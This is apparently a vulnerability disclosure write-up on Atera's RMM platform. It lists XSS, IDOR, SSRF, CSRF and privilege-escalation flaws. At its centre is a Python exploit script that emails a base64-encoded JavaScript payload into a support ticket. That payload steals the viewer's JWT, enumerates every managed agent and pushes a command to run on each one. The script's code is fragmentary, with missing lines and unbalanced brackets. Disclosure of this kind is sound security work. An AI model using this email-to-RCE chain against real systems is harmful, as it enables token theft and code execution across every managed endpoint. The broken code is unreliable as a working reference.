To begin, we are still wating for a response from Atera’s (CISO)

Atera in 2021 was vulnerable to a XSS that allowed an attacker to trigger an RCE on all agents that it was managing. For this to succeed an attacker only had to create an ticket through email or portal also sending an XSS through chat was possible. Below the attack flow.

All XSS can trigger the Code execution flow on all agents or steal the JWT-Token. XSS1 - Sending XSS through email ticket -> Remote attacker can use this to execute code on agents XSS2 - Sending XSS through portal ticket -> Remote attacker can use this to execute code on agents XSS3 - Sending XSS through Chat (agent -> technical/admin) -> Remote attacker can use this to execute code on agents XSS4 - in admin logging XSS5 - in tags

IDOR1 - Account takeover, with a valid customerportal account it is possible to add this to any other customer account, change email, make primary contact, etc IDOR2 - Privilege escalation from technical user to Admin

SSRF - PDF allows to embed a iframe to include local files or request internal/external hosts

Sensitive data exposure - all customer information is readable through customerportal, data like password-hashes, tickets created, Personal information

CSRF - The code execution flow for the agents are missing CSRF protection.

Privilege escalation on endpoint - the Splashtop Streamer used by the agents is vulnerable to DLL proxying, it is possible to execute arbitrary code under SYSTEM rights.

import smtplib
from base64 import b64encode
import argparse

class exploit:
    def __init__(self, dstemail, frmemail, smtpsrv, command):
        self.smtpsrv = smtpsrv
        self.command = command
        self.dstemail = dstemail
        self.frmemail = frmemail

    def run(self):

        payload = self.prepXssEventPayload()
            msg  = """From: {frmemail}
To: {dstemail}
Subject: Attention1!
Content-type: text/html

\r\n\r\n""".format(dstemail=self.dstemail,frmemail=self.frmemail, payload=payload)
            # print (msg)
            server = smtplib.SMTP(self.smtpsrv)
            server.sendmail(self.frmemail, self.dstemail, msg)
            print ("Payload dropped, now wait for a user to access the ticket.")
        except Exception as e:
            print (e)

    def prepXssEventPayload(self):
        xsspayload = """function getJWT() {{
    return new Promise( resolve => {{
        var iframe = document.createElement('iframe'); = "none";
        iframe.src = "/auth0.html";
        console.log("injected iframe")
        setTimeout(() => {{  resolve(localStorage.getItem("X-Atera-JWT")) }}, 10000);

function request(m, url, token) {{
  return new Promise(function (resolve, reject) {{
    const xhr = new XMLHttpRequest();
    xhr.timeout = 2000;
    xhr.onreadystatechange = function(e) {{
      if (xhr.readyState === 4) {{
        if (xhr.status === 200) {{
        }} else {{
    xhr.ontimeout = function () {{
    }}, url, true)
    xhr.responseType = 'json';
    xhr.setRequestHeader('Authorization', "Bearer " + token);

async function FetchToken() {{
    var token = await getJWT(); 
    console.log("Got token: " + token);

agentGuid = '/breeze/GenericTicketing/Lookups/DevicesView_Advanced?$inlinecount=allpages&$orderby=AlertsPaused%20desc,%20TopSeverity%20desc,AlertsCount%20desc&CustomFieldsFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&AdvancedFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&DeviceType=-1&$top=2000000';
const userRequest = request("GET",agentGuid, token)
//   .then(getJWT)
function getAgents(agents) {{
    console.log("Fetching agents")
    return Promise.all( {{
      for (var key in _Agents){{
        DeviceGuid = _Agents.DeviceGuid
        console.log("DeviceGuid: " + DeviceGuid)
        url = '/interactivepackages/grant?interactivePackageName=Powershell&agentGuid='+DeviceGuid;
        a = request("POST", url,token)
        return a

function getKeys(agentKeys) {{
  return Promise.all( {{
      Channel = _Keys.Channel
      PubKey = _Keys.PubKey
      SubKey = _Keys.SubKey
      console.log("Keys: " + Channel, PubKey, SubKey, DeviceGuid)
      url = '/package/requestguid?agentGuid='+DeviceGuid+'&packageName=AgentPackageRunCommandInteractive&packgeCommand='+Channel+'%201%20123456789012';
      request("POST", url, token)
      return Channel, PubKey, SubKey, DeviceGuid

function rce(_Keys) {{
  return Promise.all( {{
      command = "{{\\"MessageType\\":0,\\"CommandText\\":\\""+rce+"\\"}}";
      console.log("Executing: " + rce)
      url = ''+PubKey+'/'+SubKey+'/0/'+Channel+'/0/'+command;
      setTimeout(() => {{  request("GET", url,token) }}, 2000);
       return "Finished"

function handleErrors(error) {{
  console.error('Something went wrong ', error)

        payload_bytes = xsspayload.encode('ascii')
        base64_bytes = b64encode(payload_bytes)
        base64_payload = base64_bytes.decode("utf-8")
        payload = base64_payload
        return payload

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='ZeroClick XSS to RCE in Atera agents')
    parser.add_argument('--dstemail', '-d',
                    help='Destination email')
    parser.add_argument('--frmemail', '-f',
                    help='From email')
    parser.add_argument('--smtpsrv', '-s',
                    help='SMTP server')
    parser.add_argument('--command', '-c',
                    default="whoami > c:/wbsec.txt",
                    help='command to execute')

    args = parser.parse_args()
    dstemail = args.dstemail
    frmemail = args.frmemail
    smtpsrv = args.smtpsrv
    command = args.command

    x = exploit(dstemail,frmemail,smtpsrv,command)

running this code python3 -d -f -s -c notepad.exe will result in notepad being executed like in the screenshots below or this POC

Cookie reflected Cookie reflected

SSRF in IFRAME in PDF generator (Might not be resolved?)

POST /reports/export/pdf HTTP/1.1

Cookie reflected

Product description

  • All-in-one, One comprehensive RMM solution built for IT professionals.

Remote Monitoring and Management, Remote Access, Helpdesk, Billing, and Reporting. You get every feature, every tool — everything you need — to streamline your workflow and start looking forward to Monday mornings again.



No CVE because it is a SaaS application.

CVE-2021-43402 Privilege escalation on endpoints discoverd by Hidde Smit